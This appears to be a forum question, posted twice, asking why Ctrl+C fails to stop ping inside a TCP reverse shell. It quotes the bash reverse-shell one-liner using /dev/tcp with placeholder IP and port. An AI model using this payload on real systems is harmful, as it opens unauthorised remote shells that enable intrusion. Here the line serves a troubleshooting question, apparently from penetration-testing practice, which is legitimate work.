When I use TCP reverse shell, I can’t use ctrl + C when I use the ping command. Why? When using nano or vi, you can use ctrl + C
But the reverse connection script I used is bash -i >& /dev/tcp/IP/PORT 0>&1，You know this is the most commonly used reverse connection payload
I really look forward to hearing from you, thanks
When I use TCP reverse shell, I can’t use ctrl + C when I use the ping command. Why? When using nano or vi, you can use ctrl + C
But the reverse connection script I used is bash -i >& /dev/tcp/IP/PORT 0>&1，You know this is the most commonly used reverse connection payload
I really look forward to hearing from you, thanks